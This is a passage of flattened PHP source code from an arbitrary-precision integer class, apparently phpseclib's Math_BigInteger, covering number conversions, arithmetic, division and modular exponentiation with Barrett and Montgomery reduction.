0 ? substr(str_pad($temp, $this->precision >> 3, chr(0) , STR_PAD_LEFT) , -($this->precision >> 3)) : ltrim($temp, chr(0)); case MATH_BIGINTEGER_MODE_BCMATH: if ($this->value === '0') { return $this->precision > 0 ? str_repeat(chr(0) , ($this->precision + 1) >> 3) : ''; } $value = ''; $current = $this->value; if ($current[0] == '-') { $current = substr($current, 1); } while (bccomp($current, '0', 0) > 0) { $temp = bcmod($current, '16777216'); $value = chr($temp >> 16) . chr($temp >> 8) . chr($temp) . $value; $current = bcdiv($current, '16777216', 0); } return $this->precision > 0 ? substr(str_pad($value, $this->precision >> 3, chr(0) , STR_PAD_LEFT) , -($this->precision >> 3)) : ltrim($value, chr(0)); } if (!count($this->value)) { return $this->precision > 0 ? str_repeat(chr(0) , ($this->precision + 1) >> 3) : ''; } $result = $this->_int2bytes($this->value[count($this->value) - 1]); $temp = $this->copy(); for ($i = count($temp->value) - 2; $i >= 0; --$i) { $temp->_base256_lshift($result, 26); $result = $result | str_pad($temp->_int2bytes($temp->value[$i]) , strlen($result) , chr(0) , STR_PAD_LEFT); } return $this->precision > 0 ? str_pad(substr($result, -(($this->precision + 7) >> 3)) , ($this->precision + 7) >> 3, chr(0) , STR_PAD_LEFT) : $result; } function toHex($twos_compliment = false) { return bin2hex($this->toBytes($twos_compliment)); } function toBits($twos_compliment = false) { $hex = $this->toHex($twos_compliment); $bits = ''; for ($i = 0, $end = strlen($hex) & 0xFFFFFFF8; $i < $end; $i+= 8) { $bits.= str_pad(decbin(hexdec(substr($hex, $i, 8))) , 32, '0', STR_PAD_LEFT); } if ($end != strlen($hex)) { $bits.= str_pad(decbin(hexdec(substr($hex, $end))) , strlen($hex) & 7, '0', STR_PAD_LEFT); } return $this->precision > 0 ? substr($bits, -$this->precision) : ltrim($bits, '0'); } function toString() { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: return gmp_strval($this->value); case MATH_BIGINTEGER_MODE_BCMATH: if ($this->value === '0') { return '0'; } return ltrim($this->value, '0'); } if (!count($this->value)) { return '0'; } $temp = $this->copy(); $temp->is_negative = false; $divisor = new Math_BigInteger(); $divisor->value = array( 10000000 ); $result = ''; while (count($temp->value)) { list($temp, $mod) = $temp->divide($divisor); $result = str_pad(isset($mod->value[0]) ? $mod->value[0] : '', 7, '0', STR_PAD_LEFT) . $result; } $result = ltrim($result, '0'); if (empty($result)) { $result = '0'; } if ($this->is_negative) { $result = '-' . $result; } return $result; } function copy() { $temp = new Math_BigInteger(); $temp->value = $this->value; $temp->is_negative = $this->is_negative; $temp->generator = $this->generator; $temp->precision = $this->precision; $temp->bitmask = $this->bitmask; return $temp; } function __toString() { return $this->toString(); } function __clone() { return $this->copy(); } function __sleep() { $this->hex = $this->toHex(true); $vars = array( 'hex' ); if ($this->generator != 'mt_rand') { $vars[] = 'generator'; } if ($this->precision > 0) { $vars[] = 'precision'; } return $vars; } function __wakeup() { $temp = new Math_BigInteger($this->hex, -16); $this->value = $temp->value; $this->is_negative = $temp->is_negative; $this->setRandomGenerator($this->generator); if ($this->precision > 0) { $this->setPrecision($this->precision); } } function add($y) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_add($this->value, $y->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $temp = new Math_BigInteger(); $temp->value = bcadd($this->value, $y->value, 0); return $this->_normalize($temp); } $temp = $this->_add($this->value, $this->is_negative, $y->value, $y->is_negative); $result = new Math_BigInteger(); $result->value = $temp[MATH_BIGINTEGER_VALUE]; $result->is_negative = $temp[MATH_BIGINTEGER_SIGN]; return $this->_normalize($result); } function _add($x_value, $x_negative, $y_value, $y_negative) { $x_size = count($x_value); $y_size = count($y_value); if ($x_size == 0) { return array( MATH_BIGINTEGER_VALUE => $y_value, MATH_BIGINTEGER_SIGN => $y_negative ); } else if ($y_size == 0) { return array( MATH_BIGINTEGER_VALUE => $x_value, MATH_BIGINTEGER_SIGN => $x_negative ); } if ($x_negative != $y_negative) { if ($x_value == $y_value) { return array( MATH_BIGINTEGER_VALUE => array() , MATH_BIGINTEGER_SIGN => false ); } $temp = $this->_subtract($x_value, false, $y_value, false); $temp[MATH_BIGINTEGER_SIGN] = $this->_compare($x_value, false, $y_value, false) > 0 ? $x_negative : $y_negative; return $temp; } if ($x_size < $y_size) { $size = $x_size; $value = $y_value; } else { $size = $y_size; $value = $x_value; } $value[] = 0; $carry = 0; for ($i = 0, $j = 1; $j < $size; $i+= 2, $j+= 2) { $sum = $x_value[$j] * 0x4000000 + $x_value[$i] + $y_value[$j] * 0x4000000 + $y_value[$i] + $carry; $carry = $sum >= MATH_BIGINTEGER_MAX_DIGIT52; $sum = $carry ? $sum - MATH_BIGINTEGER_MAX_DIGIT52 : $sum; $temp = (int)($sum / 0x4000000); $value[$i] = (int)($sum - 0x4000000 * $temp); $value[$j] = $temp; } if ($j == $size) { $sum = $x_value[$i] + $y_value[$i] + $carry; $carry = $sum >= 0x4000000; $value[$i] = $carry ? $sum - 0x4000000 : $sum; ++$i; } if ($carry) { for (; $value[$i] == 0x3FFFFFF; ++$i) { $value[$i] = 0; } ++$value[$i]; } return array( MATH_BIGINTEGER_VALUE => $this->_trim($value) , MATH_BIGINTEGER_SIGN => $x_negative ); } function subtract($y) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_sub($this->value, $y->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $temp = new Math_BigInteger(); $temp->value = bcsub($this->value, $y->value, 0); return $this->_normalize($temp); } $temp = $this->_subtract($this->value, $this->is_negative, $y->value, $y->is_negative); $result = new Math_BigInteger(); $result->value = $temp[MATH_BIGINTEGER_VALUE]; $result->is_negative = $temp[MATH_BIGINTEGER_SIGN]; return $this->_normalize($result); } function _subtract($x_value, $x_negative, $y_value, $y_negative) { $x_size = count($x_value); $y_size = count($y_value); if ($x_size == 0) { return array( MATH_BIGINTEGER_VALUE => $y_value, MATH_BIGINTEGER_SIGN => !$y_negative ); } else if ($y_size == 0) { return array( MATH_BIGINTEGER_VALUE => $x_value, MATH_BIGINTEGER_SIGN => $x_negative ); } if ($x_negative != $y_negative) { $temp = $this->_add($x_value, false, $y_value, false); $temp[MATH_BIGINTEGER_SIGN] = $x_negative; return $temp; } $diff = $this->_compare($x_value, $x_negative, $y_value, $y_negative); if (!$diff) { return array( MATH_BIGINTEGER_VALUE => array() , MATH_BIGINTEGER_SIGN => false ); } if ((!$x_negative && $diff < 0) || ($x_negative && $diff > 0)) { $temp = $x_value; $x_value = $y_value; $y_value = $temp; $x_negative = !$x_negative; $x_size = count($x_value); $y_size = count($y_value); } $carry = 0; for ($i = 0, $j = 1; $j < $y_size; $i+= 2, $j+= 2) { $sum = $x_value[$j] * 0x4000000 + $x_value[$i] - $y_value[$j] * 0x4000000 - $y_value[$i] - $carry; $carry = $sum < 0; $sum = $carry ? $sum + MATH_BIGINTEGER_MAX_DIGIT52 : $sum; $temp = (int)($sum / 0x4000000); $x_value[$i] = (int)($sum - 0x4000000 * $temp); $x_value[$j] = $temp; } if ($j == $y_size) { $sum = $x_value[$i] - $y_value[$i] - $carry; $carry = $sum < 0; $x_value[$i] = $carry ? $sum + 0x4000000 : $sum; ++$i; } if ($carry) { for (; !$x_value[$i]; ++$i) { $x_value[$i] = 0x3FFFFFF; } --$x_value[$i]; } return array( MATH_BIGINTEGER_VALUE => $this->_trim($x_value) , MATH_BIGINTEGER_SIGN => $x_negative ); } function multiply($x) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_mul($this->value, $x->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $temp = new Math_BigInteger(); $temp->value = bcmul($this->value, $x->value, 0); return $this->_normalize($temp); } $temp = $this->_multiply($this->value, $this->is_negative, $x->value, $x->is_negative); $product = new Math_BigInteger(); $product->value = $temp[MATH_BIGINTEGER_VALUE]; $product->is_negative = $temp[MATH_BIGINTEGER_SIGN]; return $this->_normalize($product); } function _multiply($x_value, $x_negative, $y_value, $y_negative) { $x_length = count($x_value); $y_length = count($y_value); if (!$x_length || !$y_length) { return array( MATH_BIGINTEGER_VALUE => array() , MATH_BIGINTEGER_SIGN => false ); } return array( MATH_BIGINTEGER_VALUE => min($x_length, $y_length) < 2 * MATH_BIGINTEGER_KARATSUBA_CUTOFF ? $this->_trim($this->_regularMultiply($x_value, $y_value)) : $this->_trim($this->_karatsuba($x_value, $y_value)) , MATH_BIGINTEGER_SIGN => $x_negative != $y_negative ); } function _regularMultiply($x_value, $y_value) { $x_length = count($x_value); $y_length = count($y_value); if (!$x_length || !$y_length) { return array(); } if ($x_length < $y_length) { $temp = $x_value; $x_value = $y_value; $y_value = $temp; $x_length = count($x_value); $y_length = count($y_value); } $product_value = $this->_array_repeat(0, $x_length + $y_length); $carry = 0; for ($j = 0; $j < $x_length; ++$j) { $temp = $x_value[$j] * $y_value[0] + $carry; $carry = (int)($temp / 0x4000000); $product_value[$j] = (int)($temp - 0x4000000 * $carry); } $product_value[$j] = $carry; for ($i = 1; $i < $y_length; ++$i) { $carry = 0; for ($j = 0, $k = $i; $j < $x_length; ++$j, ++$k) { $temp = $product_value[$k] + $x_value[$j] * $y_value[$i] + $carry; $carry = (int)($temp / 0x4000000); $product_value[$k] = (int)($temp - 0x4000000 * $carry); } $product_value[$k] = $carry; } return $product_value; } function _karatsuba($x_value, $y_value) { $m = min(count($x_value) >> 1, count($y_value) >> 1); if ($m < MATH_BIGINTEGER_KARATSUBA_CUTOFF) { return $this->_regularMultiply($x_value, $y_value); } $x1 = array_slice($x_value, $m); $x0 = array_slice($x_value, 0, $m); $y1 = array_slice($y_value, $m); $y0 = array_slice($y_value, 0, $m); $z2 = $this->_karatsuba($x1, $y1); $z0 = $this->_karatsuba($x0, $y0); $z1 = $this->_add($x1, false, $x0, false); $temp = $this->_add($y1, false, $y0, false); $z1 = $this->_karatsuba($z1[MATH_BIGINTEGER_VALUE], $temp[MATH_BIGINTEGER_VALUE]); $temp = $this->_add($z2, false, $z0, false); $z1 = $this->_subtract($z1, false, $temp[MATH_BIGINTEGER_VALUE], false); $z2 = array_merge(array_fill(0, 2 * $m, 0) , $z2); $z1[MATH_BIGINTEGER_VALUE] = array_merge(array_fill(0, $m, 0) , $z1[MATH_BIGINTEGER_VALUE]); $xy = $this->_add($z2, false, $z1[MATH_BIGINTEGER_VALUE], $z1[MATH_BIGINTEGER_SIGN]); $xy = $this->_add($xy[MATH_BIGINTEGER_VALUE], $xy[MATH_BIGINTEGER_SIGN], $z0, false); return $xy[MATH_BIGINTEGER_VALUE]; } function _square($x = false) { return count($x) < 2 * MATH_BIGINTEGER_KARATSUBA_CUTOFF ? $this->_trim($this->_baseSquare($x)) : $this->_trim($this->_karatsubaSquare($x)); } function _baseSquare($value) { if (empty($value)) { return array(); } $square_value = $this->_array_repeat(0, 2 * count($value)); for ($i = 0, $max_index = count($value) - 1; $i <= $max_index; ++$i) { $i2 = $i << 1; $temp = $square_value[$i2] + $value[$i] * $value[$i]; $carry = (int)($temp / 0x4000000); $square_value[$i2] = (int)($temp - 0x4000000 * $carry); for ($j = $i + 1, $k = $i2 + 1; $j <= $max_index; ++$j, ++$k) { $temp = $square_value[$k] + 2 * $value[$j] * $value[$i] + $carry; $carry = (int)($temp / 0x4000000); $square_value[$k] = (int)($temp - 0x4000000 * $carry); } $square_value[$i + $max_index + 1] = $carry; } return $square_value; } function _karatsubaSquare($value) { $m = count($value) >> 1; if ($m < MATH_BIGINTEGER_KARATSUBA_CUTOFF) { return $this->_baseSquare($value); } $x1 = array_slice($value, $m); $x0 = array_slice($value, 0, $m); $z2 = $this->_karatsubaSquare($x1); $z0 = $this->_karatsubaSquare($x0); $z1 = $this->_add($x1, false, $x0, false); $z1 = $this->_karatsubaSquare($z1[MATH_BIGINTEGER_VALUE]); $temp = $this->_add($z2, false, $z0, false); $z1 = $this->_subtract($z1, false, $temp[MATH_BIGINTEGER_VALUE], false); $z2 = array_merge(array_fill(0, 2 * $m, 0) , $z2); $z1[MATH_BIGINTEGER_VALUE] = array_merge(array_fill(0, $m, 0) , $z1[MATH_BIGINTEGER_VALUE]); $xx = $this->_add($z2, false, $z1[MATH_BIGINTEGER_VALUE], $z1[MATH_BIGINTEGER_SIGN]); $xx = $this->_add($xx[MATH_BIGINTEGER_VALUE], $xx[MATH_BIGINTEGER_SIGN], $z0, false); return $xx[MATH_BIGINTEGER_VALUE]; } function divide($y) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $quotient = new Math_BigInteger(); $remainder = new Math_BigInteger(); list($quotient->value, $remainder->value) = gmp_div_qr($this->value, $y->value); if (gmp_sign($remainder->value) < 0) { $remainder->value = gmp_add($remainder->value, gmp_abs($y->value)); } return array( $this->_normalize($quotient) , $this->_normalize($remainder) ); case MATH_BIGINTEGER_MODE_BCMATH: $quotient = new Math_BigInteger(); $remainder = new Math_BigInteger(); $quotient->value = bcdiv($this->value, $y->value, 0); $remainder->value = bcmod($this->value, $y->value); if ($remainder->value[0] == '-') { $remainder->value = bcadd($remainder->value, $y->value[0] == '-' ? substr($y->value, 1) : $y->value, 0); } return array( $this->_normalize($quotient) , $this->_normalize($remainder) ); } if (count($y->value) == 1) { list($q, $r) = $this->_divide_digit($this->value, $y->value[0]); $quotient = new Math_BigInteger(); $remainder = new Math_BigInteger(); $quotient->value = $q; $remainder->value = array( $r ); $quotient->is_negative = $this->is_negative != $y->is_negative; return array( $this->_normalize($quotient) , $this->_normalize($remainder) ); } static $zero; if (!isset($zero)) { $zero = new Math_BigInteger(); } $x = $this->copy(); $y = $y->copy(); $x_sign = $x->is_negative; $y_sign = $y->is_negative; $x->is_negative = $y->is_negative = false; $diff = $x->compare($y); if (!$diff) { $temp = new Math_BigInteger(); $temp->value = array( 1 ); $temp->is_negative = $x_sign != $y_sign; return array( $this->_normalize($temp) , $this->_normalize(new Math_BigInteger()) ); } if ($diff < 0) { if ($x_sign) { $x = $y->subtract($x); } return array( $this->_normalize(new Math_BigInteger()) , $this->_normalize($x) ); } $msb = $y->value[count($y->value) - 1]; for ($shift = 0; !($msb & 0x2000000); ++$shift) { $msb <<= 1; } $x->_lshift($shift); $y->_lshift($shift); $y_value = & $y->value; $x_max = count($x->value) - 1; $y_max = count($y->value) - 1; $quotient = new Math_BigInteger(); $quotient_value = & $quotient->value; $quotient_value = $this->_array_repeat(0, $x_max - $y_max + 1); static $temp, $lhs, $rhs; if (!isset($temp)) { $temp = new Math_BigInteger(); $lhs = new Math_BigInteger(); $rhs = new Math_BigInteger(); } $temp_value = & $temp->value; $rhs_value = & $rhs->value; $temp_value = array_merge($this->_array_repeat(0, $x_max - $y_max) , $y_value); while ($x->compare($temp) >= 0) { ++$quotient_value[$x_max - $y_max]; $x = $x->subtract($temp); $x_max = count($x->value) - 1; } for ($i = $x_max; $i >= $y_max + 1; --$i) { $x_value = & $x->value; $x_window = array( isset($x_value[$i]) ? $x_value[$i] : 0, isset($x_value[$i - 1]) ? $x_value[$i - 1] : 0, isset($x_value[$i - 2]) ? $x_value[$i - 2] : 0 ); $y_window = array( $y_value[$y_max], ($y_max > 0) ? $y_value[$y_max - 1] : 0 ); $q_index = $i - $y_max - 1; if ($x_window[0] == $y_window[0]) { $quotient_value[$q_index] = 0x3FFFFFF; } else { $quotient_value[$q_index] = (int)(($x_window[0] * 0x4000000 + $x_window[1]) / $y_window[0]); } $temp_value = array( $y_window[1], $y_window[0] ); $lhs->value = array( $quotient_value[$q_index] ); $lhs = $lhs->multiply($temp); $rhs_value = array( $x_window[2], $x_window[1], $x_window[0] ); while ($lhs->compare($rhs) > 0) { --$quotient_value[$q_index]; $lhs->value = array( $quotient_value[$q_index] ); $lhs = $lhs->multiply($temp); } $adjust = $this->_array_repeat(0, $q_index); $temp_value = array( $quotient_value[$q_index] ); $temp = $temp->multiply($y); $temp_value = & $temp->value; $temp_value = array_merge($adjust, $temp_value); $x = $x->subtract($temp); if ($x->compare($zero) < 0) { $temp_value = array_merge($adjust, $y_value); $x = $x->add($temp); --$quotient_value[$q_index]; } $x_max = count($x_value) - 1; } $x->_rshift($shift); $quotient->is_negative = $x_sign != $y_sign; if ($x_sign) { $y->_rshift($shift); $x = $y->subtract($x); } return array( $this->_normalize($quotient) , $this->_normalize($x) ); } function _divide_digit($dividend, $divisor) { $carry = 0; $result = array(); for ($i = count($dividend) - 1; $i >= 0; --$i) { $temp = 0x4000000 * $carry + $dividend[$i]; $result[$i] = (int)($temp / $divisor); $carry = (int)($temp - $divisor * $result[$i]); } return array( $result, $carry ); } function modPow($e, $n) { $n = $this->bitmask !== false && $this->bitmask->compare($n) < 0 ? $this->bitmask : $n->abs(); if ($e->compare(new Math_BigInteger()) < 0) { $e = $e->abs(); $temp = $this->modInverse($n); if ($temp === false) { return false; } return $this->_normalize($temp->modPow($e, $n)); } switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_powm($this->value, $e->value, $n->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $temp = new Math_BigInteger(); $temp->value = bcpowmod($this->value, $e->value, $n->value, 0); return $this->_normalize($temp); } if (empty($e->value)) { $temp = new Math_BigInteger(); $temp->value = array( 1 ); return $this->_normalize($temp); } if ($e->value == array( 1 )) { list(, $temp) = $this->divide($n); return $this->_normalize($temp); } if ($e->value == array( 2 )) { $temp = new Math_BigInteger(); $temp->value = $this->_square($this->value); list(, $temp) = $temp->divide($n); return $this->_normalize($temp); } return $this->_normalize($this->_slidingWindow($e, $n, MATH_BIGINTEGER_BARRETT)); if ($n->value[0] & 1) { return $this->_normalize($this->_slidingWindow($e, $n, MATH_BIGINTEGER_MONTGOMERY)); } for ($i = 0; $i < count($n->value); ++$i) { if ($n->value[$i]) { $temp = decbin($n->value[$i]); $j = strlen($temp) - strrpos($temp, '1') - 1; $j+= 26 * $i; break; } } $mod1 = $n->copy(); $mod1->_rshift($j); $mod2 = new Math_BigInteger(); $mod2->value = array( 1 ); $mod2->_lshift($j); $part1 = ($mod1->value != array( 1 )) ? $this->_slidingWindow($e, $mod1, MATH_BIGINTEGER_MONTGOMERY) : new Math_BigInteger(); $part2 = $this->_slidingWindow($e, $mod2, MATH_BIGINTEGER_POWEROF2); $y1 = $mod2->modInverse($mod1); $y2 = $mod1->modInverse($mod2); $result = $part1->multiply($mod2); $result = $result->multiply($y1); $temp = $part2->multiply($mod1); $temp = $temp->multiply($y2); $result = $result->add($temp); list(, $result) = $result->divide($n); return $this->_normalize($result); } function powMod($e, $n) { return $this->modPow($e, $n); } function _slidingWindow($e, $n, $mode) { static $window_ranges = array( 7, 25, 81, 241, 673, 1793 ); $e_value = $e->value; $e_length = count($e_value) - 1; $e_bits = decbin($e_value[$e_length]); for ($i = $e_length - 1; $i >= 0; --$i) { $e_bits.= str_pad(decbin($e_value[$i]) , 26, '0', STR_PAD_LEFT); } $e_length = strlen($e_bits); for ($i = 0, $window_size = 1; $e_length > $window_ranges[$i] && $i < count($window_ranges); ++$window_size, ++$i); $n_value = $n->value; $powers = array(); $powers[1] = $this->_prepareReduce($this->value, $n_value, $mode); $powers[2] = $this->_squareReduce($powers[1], $n_value, $mode); $temp = 1 << ($window_size - 1); for ($i = 1; $i < $temp; ++$i) { $i2 = $i << 1; $powers[$i2 + 1] = $this->_multiplyReduce($powers[$i2 - 1], $powers[2], $n_value, $mode); } $result = array( 1 ); $result = $this->_prepareReduce($result, $n_value, $mode); for ($i = 0; $i < $e_length;) { if (!$e_bits[$i]) { $result = $this->_squareReduce($result, $n_value, $mode); ++$i; } else { for ($j = $window_size - 1; $j > 0; --$j) { if (!empty($e_bits[$i + $j])) { break; } } for ($k = 0; $k <= $j; ++$k) { $result = $this->_squareReduce($result, $n_value, $mode); } $result = $this->_multiplyReduce($result, $powers[bindec(substr($e_bits, $i, $j + 1)) ], $n_value, $mode); $i+= $j + 1; } } $temp = new Math_BigInteger(); $temp->value = $this->_reduce($result, $n_value, $mode); return $temp; } function _reduce($x, $n, $mode) { switch ($mode) { case MATH_BIGINTEGER_MONTGOMERY: return $this->_montgomery($x, $n); case MATH_BIGINTEGER_BARRETT: return $this->_barrett($x, $n); case MATH_BIGINTEGER_POWEROF2: $lhs = new Math_BigInteger(); $lhs->value = $x; $rhs = new Math_BigInteger(); $rhs->value = $n; return $x->_mod2($n); case MATH_BIGINTEGER_CLASSIC: $lhs = new Math_BigInteger(); $lhs->value = $x; $rhs = new Math_BigInteger(); $rhs->value = $n; list(, $temp) = $lhs->divide($rhs); return $temp->value; case MATH_BIGINTEGER_NONE: return $x; default: } } function _prepareReduce($x, $n, $mode) { if ($mode == MATH_BIGINTEGER_MONTGOMERY) { return $this->_prepMontgomery($x, $n); } return $this->_reduce($x, $n, $mode); } function _multiplyReduce($x, $y, $n, $mode) { if ($mode == MATH_BIGINTEGER_MONTGOMERY) { return $this->_montgomeryMultiply($x, $y, $n); } $temp = $this->_multiply($x, false, $y, false); return $this->_reduce($temp[MATH_BIGINTEGER_VALUE], $n, $mode); } function _squareReduce($x, $n, $mode) { if ($mode == MATH_BIGINTEGER_MONTGOMERY) { return $this->_montgomeryMultiply($x, $x, $n); } return $this->_reduce($this->_square($x) , $n, $mode); } function _mod2($n) { $temp = new Math_BigInteger(); $temp->value = array( 1 ); return $this->bitwise_and($n->subtract($temp)); } function _barrett($n, $m) { static $cache = array( MATH_BIGINTEGER_VARIABLE => array() , MATH_BIGINTEGER_DATA => array() ); $m_length = count($m); if (count($n) > 2 * $m_length) { $lhs = new Math_BigInteger(); $rhs = new Math_BigInteger(); $lhs->value = $n; $rhs->value = $m; list(, $temp) = $lhs->divide($rhs); return $temp->value; } if ($m_length < 5) { return $this->_regularBarrett($n, $m); } if (($key = array_search($m, $cache[MATH_BIGINTEGER_VARIABLE])) === false) { $key = count($cache[MATH_BIGINTEGER_VARIABLE]); $cache[MATH_BIGINTEGER_VARIABLE][] = $m; $lhs = new Math_BigInteger(); $lhs_value = & $lhs->value; $lhs_value = $this->_array_repeat(0, $m_length + ($m_length >> 1)); $lhs_value[] = 1; $rhs = new Math_BigInteger(); $rhs->value = $m; list($u, $m1) = $lhs->divide($rhs); $u = $u->value; $m1 = $m1->value; $cache[MATH_BIGINTEGER_DATA][] = array( 'u' => $u, 'm1' => $m1 ); } else { extract($cache[MATH_BIGINTEGER_DATA][$key]); } $cutoff = $m_length + ($m_length >> 1); $lsd = array_slice($n, 0, $cutoff); $msd = array_slice($n, $cutoff); $lsd = $this->_trim($lsd); $temp = $this->_multiply($msd, false, $m1, false); $n = $this->_add($lsd, false, $temp[MATH_BIGINTEGER_VALUE], false); if ($m_length & 1) { return $this->_regularBarrett($n[MATH_BIGINTEGER_VALUE], $m); } $temp = array_slice($n[MATH_BIGINTEGER_VALUE], $m_length - 1); $temp = $this->_multiply($temp, false, $u, false); $temp = array_slice($temp[MATH_BIGINTEGER_VALUE], ($m_length >> 1) + 1); $temp = $this->_multiply($temp, false, $m, false); $result = $this->_subtract($n[MATH_BIGINTEGER_VALUE], false, $temp[MATH_BIGINTEGER_VALUE], false); while ($this->_compare($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $m, false) >= 0) { $result = $this->_subtract($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $m, false); } return $result[MATH_BIGINTEGER_VALUE]; } function _regularBarrett($x, $n) { static $cache = array( MATH_BIGINTEGER_VARIABLE => array() , MATH_BIGINTEGER_DATA => array() ); $n_length = count($n); if (count($x) > 2 * $n_length) { $lhs = new Math_BigInteger(); $rhs = new Math_BigInteger(); $lhs->value = $x; $rhs->value = $n; list(, $temp) = $lhs->divide($rhs); return $temp->value; } if (($key = array_search($n, $cache[MATH_BIGINTEGER_VARIABLE])) === false) { $key = count($cache[MATH_BIGINTEGER_VARIABLE]); $cache[MATH_BIGINTEGER_VARIABLE][] = $n; $lhs = new Math_BigInteger(); $lhs_value = & $lhs->value; $lhs_value = $this->_array_repeat(0, 2 * $n_length); $lhs_value[] = 1; $rhs = new Math_BigInteger(); $rhs->value = $n; list($temp,) = $lhs->divide($rhs); $cache[MATH_BIGINTEGER_DATA][] = $temp->value; } $temp = array_slice($x, $n_length - 1); $temp = $this->_multiply($temp, false, $cache[MATH_BIGINTEGER_DATA][$key], false); $temp = array_slice($temp[MATH_BIGINTEGER_VALUE], $n_length + 1); $result = array_slice($x, 0, $n_length + 1); $temp = $this->_multiplyLower($temp, false, $n, false, $n_length + 1); if ($this->_compare($result, false, $temp[MATH_BIGINTEGER_VALUE], $temp[MATH_BIGINTEGER_SIGN]) < 0) { $corrector_value = $this->_array_repeat(0, $n_length + 1); $corrector_value[] = 1; $result = $this->_add($result, false, $corrector, false); $result = $result[MATH_BIGINTEGER_VALUE]; } $result = $this->_subtract($result, false, $temp[MATH_BIGINTEGER_VALUE], $temp[MATH_BIGINTEGER_SIGN]); while ($this->_compare($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $n, false) > 0) { $result = $this->_subtract($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $n, false); } return $result[MATH_BIGINTEGER_VALUE]; } function _multiplyLower($x_value, $x_negative, $y_value, $y_negative, $stop) { $x_length = count($x_value); $y_length = count($y_value); if (!$x_length || !$y_length) { return array( MATH_BIGINTEGER_VALUE => array() , MATH_BIGINTEGER_SIGN => false ); } if ($x_length < $y_length) { $temp = $x_value; $x_value = $y_value; $y_value = $temp; $x_length = count($x_value); $y_length = count($y_value); } $product_value = $this->_array_repeat(0, $x_length + $y_length); $carry = 0; for ($j = 0; $j < $x_length; ++$j) { $temp = $x_value[$j] * $y_value[0] + $carry; $carry = (int)($temp / 0x4000000); $product_value[$j] = (int)($temp - 0x4000000 * $carry); } if ($j < $stop) { $product_value[$j] = $carry; } for ($i = 1; $i < $y_length; ++$i) { $carry = 0; for ($j = 0, $k = $i; $j < $x_length && $k < $stop; ++$j, ++$k) { $temp = $product_value[$k] + $x_value[$j] * $y_value[$i] + $carry; $carry = (int)($temp / 0x4000000); $product_value[$k] = (int)($temp - 0x4000000 * $carry); } if ($k < $stop) { $product_value[$k] = $carry; } } return array( MATH_BIGINTEGER_VALUE => $this->_trim($product_value) , MATH_BIGINTEGER_SIGN => $x_negative != $y_negative ); } function _montgomery($x, $n) { static $cache = array( MATH_BIGINTEGER_VARIABLE => array() , MATH_BIGINTEGER_DATA => array() ); if (($key = array_search($n, $cache[MATH_BIGINTEGER_VARIABLE])) === false) { $key = count($cache[MATH_BIGINTEGER_VARIABLE]); $cache[MATH_BIGINTEGER_VARIABLE][] = $x; $cache[MATH_BIGINTEGER_DATA][] = $this->_modInverse67108864($n); } $k = count($n); $result = array( MATH_BIGINTEGER_VALUE => $x ); for ($i = 0; $i < $k; ++$i) { $temp = $result[MATH_BIGINTEGER_VALUE][$i] * $cache[MATH_BIGINTEGER_DATA][$key]; $temp = (int)($temp - 0x4000000 * ((int)($temp / 0x4000000))); $temp = $this->_regularMultiply(array( $temp ) , $n); $temp = array_merge($this->_array_repeat(0, $i) , $temp); $result = $this->_add($result[MATH_BIGINTEGER_VALUE], false, $temp, false); } $result[MATH_BIGINTEGER_VALUE] = array_slice($result[MATH_BIGINTEGER_VALUE], $k); if ($this->_compare($result, false, $n, false) >= 0) { $result = $this->_subtract($result[MATH_BIGINTEGER_VALUE], false, $n, false); } return $result[MATH_BIGINTEGER_VALUE]; } function _montgomeryMultiply($x, $y, $m) { $temp = $this->_multiply($x, false, $y, false); return $this->_montgomery($temp[MATH_BIGINTEGER_VALUE], $m); static $cache = array( MATH_BIGINTEGER_VARIABLE => array() , MATH_BIGINTEGER_DATA => array() ); if (($key = array_search($m, $cache[MATH_BIGINTEGER_VARIABLE])) === false) { $key = count($cache[MATH_BIGINTEGER_VARIABLE]); $cache[MATH_BIGINTEGER_VARIABLE][] = $m; $cache[MATH_BIGINTEGER_DATA][] = $this->_modInverse67108864($m); } $n = max(count($x) , count($y) , count($m)); $x = array_pad($x, $n, 0); $y = array_pad($y, $n, 0); $m = array_pad($m, $n, 0); $a = array( MATH_BIGINTEGER_VALUE => $this->_array_repeat(0, $n + 1) ); for ($i = 0; $i < $n; ++$i) { $temp = $a[MATH_BIGINTEGER_VALUE][0] + $x[$i] * $y[0]; $temp = (int)($temp - 0x4000000 * ((int)($temp / 0x4000000))); $temp = $temp * $cache[MATH_BIGINTEGER_DATA][$key]; $temp = (int)($temp - 0x4000000 * ((int)($temp / 0x4000000))); $temp = $this->_add($this->_regularMultiply(array( $x[$i] ) , $y) , false, $this->_regularMultiply(array( $temp ) , $m) , false); $a = $this->_add($a[MATH_BIGINTEGER_VALUE], false, $temp[MATH_BIGINTEGER_VALUE], false); $a[MATH_BIGINTEGER_VALUE] = array_slice($a[MATH_BIGINTEGER_VALUE], 1); } if ($this->_compare($a[MATH_BIGINTEGER_VALUE], false, $m, false) >= 0) { $a = $this->_subtract($a[MATH_BIGINTEGER_VALUE], false, $m, false); } return $a[MATH_BIGINTEGER_VALUE]; } function _prepMontgomery($x, $n) { $lhs = new Math_BigInteger(); $lhs->value = array_merge($this->_array_repeat(0, count($n)) , $x); $rhs = new Math_BigInteger(); $rhs->value = $n; list(, $temp) = $lhs->divide($rhs); return $temp->value; } function _modInverse67108864($x) { $x = - $x[0]; $result = $x & 0x3; $result = ($result * (2 - $x 